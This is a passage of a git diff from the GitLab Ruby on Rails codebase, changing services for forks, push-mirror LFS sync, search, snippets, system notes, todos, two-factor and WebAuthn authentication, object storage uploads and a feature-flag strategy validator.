- [@project.forked_from_project, @project].compact.each do |project|
+ [forked_from, @project].compact.each do |project|
refresh_forks_count(project)
end
end
@@ -51,22 +43,5 @@ module Projects
def refresh_forks_count(project)
Projects::ForksCountService.new(project).refresh_cache
end
-
- # TODO: Remove this method once all LfsObjectsProject records are backfilled
- # for forks.
- #
- # See https://gitlab.com/gitlab-org/gitlab/issues/122002 for more info.
- def save_lfs_objects
- return unless @project.forked?
-
- lfs_storage_project = @project.lfs_storage_project
-
- return unless lfs_storage_project
- return if lfs_storage_project == @project # that project is being unlinked
-
- lfs_storage_project.lfs_objects.find_each do |lfs_object|
- lfs_object.projects << @project unless lfs_object.projects.include?(@project)
- end
- end
end
end
diff --git a/app/services/projects/update_pages_configuration_service.rb b/app/services/projects/update_pages_configuration_service.rb
index 88c17d502df..67d388dc8a3 100644
--- a/app/services/projects/update_pages_configuration_service.rb
+++ b/app/services/projects/update_pages_configuration_service.rb
@@ -22,9 +22,6 @@ module Projects
end
success
- rescue => e
- Gitlab::ErrorTracking.track_exception(e)
- error(e.message, pass_back: { exception: e })
end
private
diff --git a/app/services/projects/update_pages_service.rb b/app/services/projects/update_pages_service.rb
index 334f5993d15..ea37f2e4ec0 100644
--- a/app/services/projects/update_pages_service.rb
+++ b/app/services/projects/update_pages_service.rb
@@ -52,7 +52,7 @@ module Projects
def success
@status.success
- @project.mark_pages_as_deployed
+ @project.mark_pages_as_deployed(artifacts_archive: build.job_artifacts_archive)
super
end
diff --git a/app/services/projects/update_remote_mirror_service.rb b/app/services/projects/update_remote_mirror_service.rb
index 7961f689259..5c41f00aac2 100644
--- a/app/services/projects/update_remote_mirror_service.rb
+++ b/app/services/projects/update_remote_mirror_service.rb
@@ -31,6 +31,9 @@ module Projects
remote_mirror.update_start!
remote_mirror.ensure_remote!
+ # LFS objects must be sent first, or the push has dangling pointers
+ send_lfs_objects!(remote_mirror)
+
response = remote_mirror.update_repository
if response.divergent_refs.any?
@@ -43,6 +46,23 @@ module Projects
end
end
+ def send_lfs_objects!(remote_mirror)
+ return unless Feature.enabled?(:push_mirror_syncs_lfs, project)
+ return unless project.lfs_enabled?
+
+ # TODO: Support LFS sync over SSH
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/249587
+ return unless remote_mirror.url =~ /\Ahttps?:\/\//i
+ return unless remote_mirror.password_auth?
+
+ Lfs::PushService.new(
+ project,
+ current_user,
+ url: remote_mirror.bare_url,
+ credentials: remote_mirror.credentials
+ ).execute
+ end
+
def retry_or_fail(mirror, message, tries)
if tries < MAX_TRIES
mirror.mark_for_retry!(message)
diff --git a/app/services/projects/update_service.rb b/app/services/projects/update_service.rb
index c9ba7cde199..bb430811497 100644
--- a/app/services/projects/update_service.rb
+++ b/app/services/projects/update_service.rb
@@ -144,11 +144,7 @@ module Projects
def update_pages_config
return unless project.pages_deployed?
- if Feature.enabled?(:async_update_pages_config, project)
- PagesUpdateConfigurationWorker.perform_async(project.id)
- else
- Projects::UpdatePagesConfigurationService.new(project).execute
- end
+ PagesUpdateConfigurationWorker.perform_async(project.id)
end
def changing_pages_https_only?
diff --git a/app/services/prometheus/proxy_service.rb b/app/services/prometheus/proxy_service.rb
index 33635796771..c1bafd03b48 100644
--- a/app/services/prometheus/proxy_service.rb
+++ b/app/services/prometheus/proxy_service.rb
@@ -44,8 +44,8 @@ module Prometheus
def self.from_cache(proxyable_class_name, proxyable_id, method, path, params)
proxyable_class = begin
proxyable_class_name.constantize
- rescue NameError
- nil
+ rescue NameError
+ nil
end
return unless proxyable_class
diff --git a/app/services/quick_actions/interpret_service.rb b/app/services/quick_actions/interpret_service.rb
index a781eacc40e..de1cd7cd981 100644
--- a/app/services/quick_actions/interpret_service.rb
+++ b/app/services/quick_actions/interpret_service.rb
@@ -10,6 +10,7 @@ module QuickActions
include Gitlab::QuickActions::MergeRequestActions
include Gitlab::QuickActions::CommitActions
include Gitlab::QuickActions::CommonActions
+ include Gitlab::QuickActions::RelateActions
attr_reader :quick_action_target
diff --git a/app/services/resource_events/change_state_service.rb b/app/services/resource_events/change_state_service.rb
index 202972c1efd..cd6d82df46f 100644
--- a/app/services/resource_events/change_state_service.rb
+++ b/app/services/resource_events/change_state_service.rb
@@ -13,14 +13,14 @@ module ResourceEvents
ResourceStateEvent.create(
user: user,
- issue: issue,
- merge_request: merge_request,
+ resource.class.underscore => resource,
source_commit: commit_id_of(mentionable_source),
source_merge_request_id: merge_request_id_of(mentionable_source),
state: ResourceStateEvent.states[state],
close_after_error_tracking_resolve: close_after_error_tracking_resolve,
close_auto_resolve_prometheus_alert: close_auto_resolve_prometheus_alert,
- created_at: Time.zone.now)
+ created_at: Time.zone.now
+ )
resource.expire_note_etag_cache
end
@@ -56,17 +56,5 @@ module ResourceEvents
mentionable_source.id
end
-
- def issue
- return unless resource.is_a?(Issue)
-
- resource
- end
-
- def merge_request
- return unless resource.is_a?(MergeRequest)
-
- resource
- end
end
end
diff --git a/app/services/search/global_service.rb b/app/services/search/global_service.rb
index c841cbfaa00..fab02697cf0 100644
--- a/app/services/search/global_service.rb
+++ b/app/services/search/global_service.rb
@@ -5,16 +5,16 @@ module Search
include Gitlab::Utils::StrongMemoize
attr_accessor :current_user, :params
- attr_reader :default_project_filter
def initialize(user, params)
@current_user, @params = user, params.dup
- @default_project_filter = true
end
def execute
- Gitlab::SearchResults.new(current_user, projects, params[:search],
- default_project_filter: default_project_filter)
+ Gitlab::SearchResults.new(current_user,
+ params[:search],
+ projects,
+ filters: { state: params[:state] })
end
def projects
diff --git a/app/services/search/group_service.rb b/app/services/search/group_service.rb
index 4dbd9eb14bb..68778aa2768 100644
--- a/app/services/search/group_service.rb
+++ b/app/services/search/group_service.rb
@@ -7,13 +7,16 @@ module Search
def initialize(user, group, params)
super(user, params)
- @default_project_filter = false
@group = group
end
def execute
Gitlab::GroupSearchResults.new(
- current_user, projects, group, params[:search], default_project_filter: default_project_filter
+ current_user,
+ params[:search],
+ projects,
+ group: group,
+ filters: { state: params[:state] }
)
end
diff --git a/app/services/search/project_service.rb b/app/services/search/project_service.rb
index 17a322c2665..5eba909c23b 100644
--- a/app/services/search/project_service.rb
+++ b/app/services/search/project_service.rb
@@ -10,9 +10,10 @@ module Search
def execute
Gitlab::ProjectSearchResults.new(current_user,
- project,
params[:search],
- params[:repository_ref])
+ project: project,
+ repository_ref: params[:repository_ref],
+ filters: { state: params[:state] })
end
def scope
diff --git a/app/services/snippets/base_service.rb b/app/services/snippets/base_service.rb
index d9e8326f159..53a04e5a398 100644
--- a/app/services/snippets/base_service.rb
+++ b/app/services/snippets/base_service.rb
@@ -46,7 +46,7 @@ module Snippets
snippet.errors.add(:snippet_actions, 'have invalid data')
end
- snippet_error_response(snippet, 403)
+ snippet_error_response(snippet, 422)
end
def snippet_error_response(snippet, http_status)
diff --git a/app/services/snippets/create_service.rb b/app/services/snippets/create_service.rb
index dab47de8a36..5c9b2eb1aea 100644
--- a/app/services/snippets/create_service.rb
+++ b/app/services/snippets/create_service.rb
@@ -82,7 +82,7 @@ module Snippets
def create_commit
commit_attrs = {
- branch_name: 'master',
+ branch_name: @snippet.default_branch,
message: 'Initial commit'
}
diff --git a/app/services/snippets/destroy_service.rb b/app/services/snippets/destroy_service.rb
index 977626fcf17..f1f80dbaf86 100644
--- a/app/services/snippets/destroy_service.rb
+++ b/app/services/snippets/destroy_service.rb
@@ -58,3 +58,5 @@ module Snippets
end
end
end
+
+Snippets::DestroyService.prepend_if_ee('EE::Snippets::DestroyService')
diff --git a/app/services/snippets/repository_validation_service.rb b/app/services/snippets/repository_validation_service.rb
index c8197795383..5bf5e692ef4 100644
--- a/app/services/snippets/repository_validation_service.rb
+++ b/app/services/snippets/repository_validation_service.rb
@@ -39,7 +39,7 @@ module Snippets
def check_branch_name_default!
branches = repository.branch_names
- return if branches.first == Gitlab::Checks::SnippetCheck::DEFAULT_BRANCH
+ return if branches.first == snippet.default_branch
raise RepositoryValidationError, _('Repository has an invalid default branch name.')
end
@@ -51,7 +51,7 @@ module Snippets
end
def check_file_count!
- file_count = repository.ls_files(nil).size
+ file_count = repository.ls_files(snippet.default_branch).size
limit = Snippet.max_file_limit(current_user)
if file_count > limit
diff --git a/app/services/snippets/update_service.rb b/app/services/snippets/update_service.rb
index 00146389e22..a0e9ab6ffda 100644
--- a/app/services/snippets/update_service.rb
+++ b/app/services/snippets/update_service.rb
@@ -93,7 +93,7 @@ module Snippets
raise UpdateError unless snippet.snippet_repository
commit_attrs = {
- branch_name: 'master',
+ branch_name: snippet.default_branch,
message: 'Update snippet'
}
diff --git a/app/services/static_site_editor/config_service.rb b/app/services/static_site_editor/config_service.rb
new file mode 100644
index 00000000000..987ee071976
--- /dev/null
+++ b/app/services/static_site_editor/config_service.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module StaticSiteEditor
+ class ConfigService < ::BaseContainerService
+ ValidationError = Class.new(StandardError)
+
+ def execute
+ @project = container
+ check_access!
+
+ ServiceResponse.success(payload: data)
+ rescue ValidationError => e
+ ServiceResponse.error(message: e.message)
+ end
+
+ private
+
+ attr_reader :project
+
+ def check_access!
+ unless can?(current_user, :download_code, project)
+ raise ValidationError, 'Insufficient permissions to read configuration'
+ end
+ end
+
+ def data
+ check_for_duplicate_keys!
+ generated_data.merge(file_data)
+ end
+
+ def generated_data
+ @generated_data ||= Gitlab::StaticSiteEditor::Config::GeneratedConfig.new(
+ project.repository,
+ params.fetch(:ref),
+ params.fetch(:path),
+ params[:return_url]
+ ).data
+ end
+
+ def file_data
+ @file_data ||= Gitlab::StaticSiteEditor::Config::FileConfig.new.data
+ end
+
+ def check_for_duplicate_keys!
+ duplicate_keys = generated_data.keys & file_data.keys
+ raise ValidationError.new("Duplicate key(s) '#{duplicate_keys}' found.") if duplicate_keys.present?
+ end
+ end
+end
diff --git a/app/services/submit_usage_ping_service.rb b/app/services/submit_usage_ping_service.rb
index 9191943caa7..2fbeaf4405c 100644
--- a/app/services/submit_usage_ping_service.rb
+++ b/app/services/submit_usage_ping_service.rb
@@ -51,11 +51,11 @@ class SubmitUsagePingService
end
def store_metrics(response)
- metrics = response['conv_index'] || response['dev_ops_score']
+ metrics = response['conv_index'] || response['dev_ops_score'] # leaving dev_ops_score here, as the response data comes from the gitlab-version-com
return unless metrics.present?
- DevOpsScore::Metric.create!(
+ DevOpsReport::Metric.create!(
metrics.slice(*METRICS)
)
end
diff --git a/app/services/system_note_service.rb b/app/services/system_note_service.rb
index 6702596f17c..df042fdc393 100644
--- a/app/services/system_note_service.rb
+++ b/app/services/system_note_service.rb
@@ -41,8 +41,12 @@ module SystemNoteService
::SystemNotes::IssuablesService.new(noteable: issuable, project: project, author: author).change_issuable_assignees(old_assignees)
end
- def change_milestone(noteable, project, author, milestone)
- ::SystemNotes::IssuablesService.new(noteable: noteable, project: project, author: author).change_milestone(milestone)
+ def relate_issue(noteable, noteable_ref, user)
+ ::SystemNotes::IssuablesService.new(noteable: noteable, project: noteable.project, author: user).relate_issue(noteable_ref)
+ end
+
+ def unrelate_issue(noteable, noteable_ref, user)
+ ::SystemNotes::IssuablesService.new(noteable: noteable, project: noteable.project, author: user).unrelate_issue(noteable_ref)
end
# Called when the due_date of a Noteable is changed
@@ -300,6 +304,10 @@ module SystemNoteService
::SystemNotes::AlertManagementService.new(noteable: alert, project: alert.project, author: author).new_alert_issue(issue)
end
+ def create_new_alert(alert, monitoring_tool)
+ ::SystemNotes::AlertManagementService.new(noteable: alert, project: alert.project).create_new_alert(monitoring_tool)
+ end
+
private
def merge_requests_service(noteable, project, author)
diff --git a/app/services/system_notes/alert_management_service.rb b/app/services/system_notes/alert_management_service.rb
index f835376727a..376f2c1cfbf 100644
--- a/app/services/system_notes/alert_management_service.rb
+++ b/app/services/system_notes/alert_management_service.rb
@@ -2,6 +2,21 @@
module SystemNotes
class AlertManagementService < ::SystemNotes::BaseService
+ # Called when the a new AlertManagement::Alert has been created
+ #
+ # alert - AlertManagement::Alert object.
+ #
+ # Example Note text:
+ #
+ # "GitLab Alert Bot logged an alert from Prometheus"
+ #
+ # Returns the created Note object
+ def create_new_alert(monitoring_tool)
+ body = "logged an alert from **#{monitoring_tool}**"
+
+ create_note(NoteSummary.new(noteable, project, User.alert_bot, body, action: 'new_alert_added'))
+ end
+
# Called when the status of an AlertManagement::Alert has changed
#
# alert - AlertManagement::Alert object.
diff --git a/app/services/system_notes/issuables_service.rb b/app/services/system_notes/issuables_service.rb
index 7535db54130..2252503d97e 100644
--- a/app/services/system_notes/issuables_service.rb
+++ b/app/services/system_notes/issuables_service.rb
@@ -2,6 +2,34 @@
module SystemNotes
class IssuablesService < ::SystemNotes::BaseService
+ #
+ # noteable_ref - Referenced noteable object
+ #
+ # Example Note text:
+ #
+ # "marked this issue as related to gitlab-foss#9001"
+ #
+ # Returns the created Note object
+ def relate_issue(noteable_ref)
+ body = "marked this issue as related to #{noteable_ref.to_reference(noteable.project)}"
+
+ create_note(NoteSummary.new(noteable, project, author, body, action: 'relate'))
+ end
+
+ #
+ # noteable_ref - Referenced noteable object
+ #
+ # Example Note text:
+ #
+ # "removed the relation with gitlab-foss#9001"
+ #
+ # Returns the created Note object
+ def unrelate_issue(noteable_ref)
+ body = "removed the relation with #{noteable_ref.to_reference(noteable.project)}"
+
+ create_note(NoteSummary.new(noteable, project, author, body, action: 'unrelate'))
+ end
+
# Called when the assignee of a Noteable is changed or removed
#
# assignee - User being assigned, or nil
@@ -16,6 +44,8 @@ module SystemNotes
def change_assignee(assignee)
body = assignee.nil? ? 'removed assignee' : "assigned to #{assignee.to_reference}"
+ issue_activity_counter.track_issue_assignee_changed_action(author: author) if noteable.is_a?(Issue)
+
create_note(NoteSummary.new(noteable, project, author, body, action: 'assignee'))
end
@@ -46,25 +76,9 @@ module SystemNotes
body = text_parts.join(' and ')
- create_note(NoteSummary.new(noteable, project, author, body, action: 'assignee'))
- end
-
- # Called when the milestone of a Noteable is changed
- #
- # milestone - Milestone being assigned, or nil
- #
- # Example Note text:
- #
- # "removed milestone"
- #
- # "changed milestone to 7.11"
- #
- # Returns the created Note object
- def change_milestone(milestone)
- format = milestone&.group_milestone? ? :name : :iid
- body = milestone.nil? ? 'removed milestone' : "changed milestone to #{milestone.to_reference(project, format: format)}"
+ issue_activity_counter.track_issue_assignee_changed_action(author: author) if noteable.is_a?(Issue)
- create_note(NoteSummary.new(noteable, project, author, body, action: 'milestone'))
+ create_note(NoteSummary.new(noteable, project, author, body, action: 'assignee'))
end
# Called when the title of a Noteable is changed
@@ -86,6 +100,8 @@ module SystemNotes
body = "changed title from **#{marked_old_title}** to **#{marked_new_title}**"
+ issue_activity_counter.track_issue_title_changed_action(author: author) if noteable.is_a?(Issue)
+
create_note(NoteSummary.new(noteable, project, author, body, action: 'title'))
end
@@ -103,6 +119,8 @@ module SystemNotes
def change_description
body = 'changed the description'
+ issue_activity_counter.track_issue_description_changed_action(author: author) if noteable.is_a?(Issue)
+
create_note(NoteSummary.new(noteable, project, author, body, action: 'description'))
end
@@ -199,9 +217,13 @@ module SystemNotes
if noteable.confidential
body = 'made the issue confidential'
action = 'confidential'
+
+ issue_activity_counter.track_issue_made_confidential_action(author: author) if noteable.is_a?(Issue)
else
body = 'made the issue visible to everyone'
action = 'visible'
+
+ issue_activity_counter.track_issue_made_visible_action(author: author) if noteable.is_a?(Issue)
end
create_note(NoteSummary.new(noteable, project, author, body, action: action))
@@ -343,6 +365,10 @@ module SystemNotes
noteable.respond_to?(:resource_state_events) &&
::Feature.enabled?(:track_resource_state_change_events, noteable.project, default_enabled: true)
end
+
+ def issue_activity_counter
+ Gitlab::UsageDataCounters::IssueActivityUniqueCounter
+ end
end
end
diff --git a/app/services/todo_service.rb b/app/services/todo_service.rb
index a3db2ae7947..0eb099753cb 100644
--- a/app/services/todo_service.rb
+++ b/app/services/todo_service.rb
@@ -8,6 +8,7 @@
# TodoService.new.new_issue(issue, current_user)
#
class TodoService
+ include Gitlab::Utils::UsageData
# When create an issue we should:
#
# * create a todo for assignee if issue is assigned
@@ -57,6 +58,14 @@ class TodoService
create_assignment_todo(issuable, current_user, old_assignees)
end
+ # When we reassign an reviewable object (merge request) we should:
+ #
+ # * create a pending todo for new reviewer if object is assigned
+ #
+ def reassigned_reviewable(issuable, current_user, old_reviewers = [])
+ create_reviewer_todo(issuable, current_user, old_reviewers)
+ end
+
# When create a merge request we should:
#
# * creates a pending todo for assignee if merge request is assigned
@@ -209,6 +218,9 @@ class TodoService
Array(users).map do |user|
next if pending_todos(user, attributes).exists?
+ issue_type = attributes.delete(:issue_type)
+ track_todo_creation(user, issue_type)
+
todo = Todo.create(attributes.merge(user_id: user.id))
user.update_todos_count_cache
todo
@@ -217,6 +229,7 @@ class TodoService
def new_issuable(issuable, author)
create_assignment_todo(issuable, author)
+ create_reviewer_todo(issuable, author) if issuable.allows_reviewers?
create_mention_todos(issuable.project, issuable, author)
end
@@ -250,6 +263,14 @@ class TodoService
end
end
+ def create_reviewer_todo(target, author, old_reviewers = [])
+ if target.reviewers.any?
+ reviewers = target.reviewers - old_reviewers
+ attributes = attributes_for_todo(target.project, target, author, Todo::REVIEW_REQUESTED)
+ create_todos(reviewers, attributes)
+ end
+ end
+
def create_mention_todos(parent, target, author, note = nil, skip_users = [])
# Create Todos for directly addressed users
directly_addressed_users = filter_directly_addressed_users(parent, note || target, author, skip_users)
@@ -282,6 +303,8 @@ class TodoService
if target.is_a?(Commit)
attributes.merge!(target_id: nil, commit_id: target.id)
+ elsif target.is_a?(Issue)
+ attributes[:issue_type] = target.issue_type
end
attributes
@@ -329,6 +352,12 @@ class TodoService
def pending_todos(user, criteria = {})
PendingTodosFinder.new(user, criteria).execute
end
+
+ def track_todo_creation(user, issue_type)
+ return unless issue_type == 'incident'
+
+ track_usage_event(:incident_management_incident_todo, user.id)
+ end
end
TodoService.prepend_if_ee('EE::TodoService')
diff --git a/app/services/two_factor/base_service.rb b/app/services/two_factor/base_service.rb
new file mode 100644
index 00000000000..7d3f63f3442
--- /dev/null
+++ b/app/services/two_factor/base_service.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module TwoFactor
+ class BaseService
+ include BaseServiceUtility
+
+ attr_reader :current_user, :params, :user
+
+ def initialize(current_user, params = {})
+ @current_user, @params = current_user, params
+ @user = params.delete(:user)
+ end
+ end
+end
diff --git a/app/services/two_factor/destroy_service.rb b/app/services/two_factor/destroy_service.rb
new file mode 100644
index 00000000000..b8bbe215d6e
--- /dev/null
+++ b/app/services/two_factor/destroy_service.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module TwoFactor
+ class DestroyService < ::TwoFactor::BaseService
+ def execute
+ return error(_('You are not authorized to perform this action')) unless can?(current_user, :disable_two_factor, user)
+ return error(_('Two-factor authentication is not enabled for this user')) unless user.two_factor_enabled?
+
+ result = disable_two_factor
+
+ notification_service.disabled_two_factor(user) if result[:status] == :success
+
+ result
+ end
+
+ private
+
+ def disable_two_factor
+ ::Users::UpdateService.new(current_user, user: user).execute do |user|
+ user.disable_two_factor!
+ end
+ end
+ end
+end
diff --git a/app/services/users/build_service.rb b/app/services/users/build_service.rb
index f06f00a5c3f..2fc46f033dd 100644
--- a/app/services/users/build_service.rb
+++ b/app/services/users/build_service.rb
@@ -91,7 +91,6 @@ module Users
def signup_params
[
:email,
- :email_confirmation,
:password_automatically_set,
:name,
:first_name,
diff --git a/app/services/users/signup_service.rb b/app/services/users/signup_service.rb
index 1031cec44cb..1087ae76216 100644
--- a/app/services/users/signup_service.rb
+++ b/app/services/users/signup_service.rb
@@ -27,7 +27,7 @@ module Users
def inject_validators
class << @user
validates :role, presence: true
- validates :setup_for_company, inclusion: { in: [true, false], message: :blank }
+ validates :setup_for_company, inclusion: { in: [true, false], message: :blank } if Gitlab.com?
end
end
end
diff --git a/app/services/webauthn/authenticate_service.rb b/app/services/webauthn/authenticate_service.rb
new file mode 100644
index 00000000000..a4513c62c2d
--- /dev/null
+++ b/app/services/webauthn/authenticate_service.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+module Webauthn
+ class AuthenticateService < BaseService
+ def initialize(user, device_response, challenge)
+ @user = user
+ @device_response = device_response
+ @challenge = challenge
+ end
+
+ def execute
+ parsed_device_response = Gitlab::Json.parse(@device_response)
+
+ # appid is set for legacy U2F devices, will be used in a future iteration
+ # rp_id = @app_id
+ # unless parsed_device_response['clientExtensionResults'] && parsed_device_response['clientExtensionResults']['appid']
+ # rp_id = URI(@app_id).host
+ # end
+
+ webauthn_credential = WebAuthn::Credential.from_get(parsed_device_response)
+ encoded_raw_id = Base64.strict_encode64(webauthn_credential.raw_id)
+ stored_webauthn_credential = @user.webauthn_registrations.find_by_credential_xid(encoded_raw_id)
+
+ encoder = WebAuthn.configuration.encoder
+
+ if stored_webauthn_credential &&
+ validate_webauthn_credential(webauthn_credential) &&
+ verify_webauthn_credential(webauthn_credential, stored_webauthn_credential, @challenge, encoder)
+
+ stored_webauthn_credential.update!(counter: webauthn_credential.sign_count)
+ return true
+ end
+
+ false
+ rescue JSON::ParserError, WebAuthn::SignCountVerificationError, WebAuthn::Error
+ false
+ end
+
+ ##
+ # Validates that webauthn_credential is syntactically valid
+ #
+ # duplicated from WebAuthn::PublicKeyCredential#verify
+ # which can't be used here as we need to call WebAuthn::AuthenticatorAssertionResponse#verify instead
+ # (which is done in #verify_webauthn_credential)
+ def validate_webauthn_credential(webauthn_credential)
+ webauthn_credential.type == WebAuthn::TYPE_PUBLIC_KEY &&
+ webauthn_credential.raw_id && webauthn_credential.id &&
+ webauthn_credential.raw_id == WebAuthn.standard_encoder.decode(webauthn_credential.id)
+ end
+
+ ##
+ # Verifies that webauthn_credential matches stored_credential with the given challenge
+ #
+ def verify_webauthn_credential(webauthn_credential, stored_credential, challenge, encoder)
+ webauthn_credential.response.verify(
+ encoder.decode(challenge),
+ public_key: encoder.decode(stored_credential.public_key),
+ sign_count: stored_credential.counter)
+ end
+ end
+end
diff --git a/app/services/webauthn/register_service.rb b/app/services/webauthn/register_service.rb
new file mode 100644
index 00000000000..21be22027a8
--- /dev/null
+++ b/app/services/webauthn/register_service.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Webauthn
+ class RegisterService < BaseService
+ def initialize(user, params, challenge)
+ @user = user
+ @params = params
+ @challenge = challenge
+ end
+
+ def execute
+ registration = WebauthnRegistration.new
+
+ begin
+ webauthn_credential = WebAuthn::Credential.from_create(Gitlab::Json.parse(@params[:device_response]))
+ webauthn_credential.verify(@challenge)
+
+ registration.update(
+ credential_xid: Base64.strict_encode64(webauthn_credential.raw_id),
+ public_key: webauthn_credential.public_key,
+ counter: webauthn_credential.sign_count,
+ name: @params[:name],
+ user: @user
+ )
+ rescue JSON::ParserError
+ registration.errors.add(:base, _('Your WebAuthn device did not send a valid JSON response.'))
+ rescue WebAuthn::Error => e
+ registration.errors.add(:base, e.message)
+ end
+
+ registration
+ end
+ end
+end
diff --git a/app/services/wiki_pages/destroy_service.rb b/app/services/wiki_pages/destroy_service.rb
index ab5abe1c82b..1d566f98760 100644
--- a/app/services/wiki_pages/destroy_service.rb
+++ b/app/services/wiki_pages/destroy_service.rb
@@ -3,11 +3,14 @@
module WikiPages
class DestroyService < WikiPages::BaseService
def execute(page)
- if page&.delete
+ if page.delete
execute_hooks(page)
+ ServiceResponse.success(payload: { page: page })
+ else
+ ServiceResponse.error(
+ message: _('Could not delete wiki page'), payload: { page: page }
+ )
end
-
- page
end
def usage_counter_action
diff --git a/app/services/wiki_pages/update_service.rb b/app/services/wiki_pages/update_service.rb
index 5ac6902e0b0..f2fc6b37c34 100644
--- a/app/services/wiki_pages/update_service.rb
+++ b/app/services/wiki_pages/update_service.rb
@@ -8,9 +8,13 @@ module WikiPages
if page.update(@params)
execute_hooks(page)
+ ServiceResponse.success(payload: { page: page })
+ else
+ ServiceResponse.error(
+ message: _('Could not update wiki page'),
+ payload: { page: page }
+ )
end
-
- page
end
def usage_counter_action
diff --git a/app/uploaders/object_storage.rb b/app/uploaders/object_storage.rb
index ac1f022c63f..d4c74ce277f 100644
--- a/app/uploaders/object_storage.rb
+++ b/app/uploaders/object_storage.rb
@@ -30,6 +30,8 @@ module ObjectStorage
REMOTE = 2
end
+ SUPPORTED_STORES = [Store::LOCAL, Store::REMOTE].freeze
+
module Extension
# this extension is the glue between the ObjectStorage::Concern and RecordsUploads::Concern
module RecordsUploads
@@ -178,10 +180,14 @@ module ObjectStorage
end
def workhorse_authorize(has_length:, maximum_size: nil)
- if self.object_store_enabled? && self.direct_upload_enabled?
- { RemoteObject: workhorse_remote_upload_options(has_length: has_length, maximum_size: maximum_size) }
- else
- { TempPath: workhorse_local_upload_path }
+ {}.tap do |hash|
+ if self.object_store_enabled? && self.direct_upload_enabled?
+ hash[:RemoteObject] = workhorse_remote_upload_options(has_length: has_length, maximum_size: maximum_size)
+ else
+ hash[:TempPath] = workhorse_local_upload_path
+ end
+
+ hash[:MaximumSize] = maximum_size if maximum_size.present?
end
end
@@ -206,6 +212,20 @@ module ObjectStorage
end
end
+ class OpenFile
+ extend Forwardable
+
+ # Explicitly exclude :path, because rubyzip uses that to detect "real" files.
+ def_delegators :@file, *(Zip::File::IO_METHODS - [:path])
+
+ # Even though :size is not in IO_METHODS, we do need it.
+ def_delegators :@file, :size
+
+ def initialize(file)
+ @file = file
+ end
+ end
+
# allow to configure and overwrite the filename
def filename
@filename || super || file&.filename # rubocop:disable Gitlab/ModuleWithInstanceVariables
@@ -255,6 +275,24 @@ module ObjectStorage
end
end
+ def use_open_file(&blk)
+ Tempfile.open(path) do |file|
+ file.unlink
+ file.binmode
+
+ if file_storage?
+ IO.copy_stream(path, file)
+ else
+ streamer = lambda { |chunk, _, _| file.write(chunk) }
+ Excon.get(url, response_block: streamer)
+ end
+
+ file.seek(0, IO::SEEK_SET)
+
+ yield OpenFile.new(file)
+ end
+ end
+
#
# Move the file to another store
#
diff --git a/app/uploaders/terraform/versioned_state_uploader.rb b/app/uploaders/terraform/versioned_state_uploader.rb
new file mode 100644
index 00000000000..be07993da0f
--- /dev/null
+++ b/app/uploaders/terraform/versioned_state_uploader.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Terraform
+ class VersionedStateUploader < StateUploader
+ def filename
+ "#{model.version}.tfstate"
+ end
+
+ def store_dir
+ Gitlab::HashedPath.new(model.uuid, root_hash: project_id)
+ end
+ end
+end
diff --git a/app/validators/feature_flag_strategies_validator.rb b/app/validators/feature_flag_strategies_validator.rb
new file mode 100644
index 00000000000..e542d52c50a
--- /dev/null
+++ b/app/validators/feature_flag_strategies_validator.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+class FeatureFlagStrategiesValidator < ActiveModel::EachValidator
+ STRATEGY_DEFAULT = 'default'.freeze
+ STRATEGY_GRADUALROLLOUTUSERID = 'gradualRolloutUserId'.freeze
+ STRATEGY_USERWITHID = 'userWithId'.freeze
+ # Order key names alphabetically
+ STRATEGIES = {
+ STRATEGY_DEFAULT => [].freeze,
+ STRATEGY_GRADUALROLLOUTUSERID => %w[groupId percentage].freeze,
+ STRATEGY_USERWITHID => ['userIds'].freeze
+ }.freeze
+ USERID_MAX_LENGTH = 256
+
+ def validate_each(record, attribute, value)
+ return unless value
+
+ if value.is_a?(Array) && value.all? { |s| s.is_a?(Hash) }
+ value.each do |strategy|
+ strategy_validations(record, attribute, strategy)
+ end
+ else
+ error(record, attribute, 'must be an array of strategy hashes')
+ end
+ end
+
+ private
+
+ def strategy_validations(record, attribute, strategy)
+ validate_name(record, attribute, strategy) &&
+ validate_parameters_type(record, attribute, strategy) &&
+ validate_parameters_keys(record, attribute, strategy) &&
+ validate_parameters_values(record, attribute, strategy)
+ end
+
+ def validate_name(record, attribute, strategy)
+ STRATEGIES.key?(strategy['name']) || error(record, attribute, 'strategy name is invalid')
+ end
+
+ def validate_parameters_type(record, attribute, strategy)
+ strategy['parameters'].is_a?(Hash) || error(record, attribute, 'parameters are invalid')
+ end
+
+ def validate_parameters_keys(record, attribute, strategy)
+ name, parameters = strategy.values_at('name', 'parameters')
+ actual_keys = parameters.keys.sort
+ expected_keys = STRATEGIES[name]
+ expected_keys == actual_keys || error(record, attribute, 'parameters are invalid')
+ end
+
+ def validate_parameters_values(record, attribute, strategy)
+ case strategy['name']
+ when STRATEGY_GRADUALROLLOUTUSERID
+ gradual_rollout_user_id_parameters_validation(record, attribute, strategy)
+ when STRATEGY_USERWITHID
+ user_with_id_parameters_validation(record, attribute, strategy)
+ end
+ end
+
+ def gradual_rollout_user_id_parameters_validation(record, attribute, strategy)
+ percentage = strategy.dig('parameters', 'percentage')
+ group_id = strategy.dig('parameters', 'groupId')
+
+ unless percentage.is_a?(String) && percentage.match(/\A[1-9]?[0-9]\z|\A100\z/)
+ error(record, attribute, 'percentage must be a string between 0 and 100 inclusive')
+ end
+
+ unless group_id.is_a?(String) && group_id.match(/\A[a-z]{1,32}\z/)
+ error(record, attribute, 'groupId parameter is invalid')
+ end
+ end
+
+ def user_with_id_parameters_validation(record, attribute, strategy)
+ user_ids = strategy.dig('parameters', 'userIds')
+ unless user_ids.is_a?(String) && !user_ids.match(/[\n\r\t]|,,/) && valid_ids?(user_ids.split(","))
+ error(record, attribute, "userIds must be a string of unique comma separated values each #{USERID_MAX_LENGTH} characters or less")
+ end
+ end
+
+ def valid_ids?(user_ids)
+ user_ids.uniq.length == user_ids.length &&
+ user_ids.all? { |id| valid_id?(id) }
+ end
+
+ def valid_id?(user_id)
+ user_id.present? &&
+ user_id.strip == user_id &&
+ user_id.length <= USERID_MAX_LENGTH
+ end
+
+ def error(record, attribute, msg)
+ record.errors.add(attribute, msg)
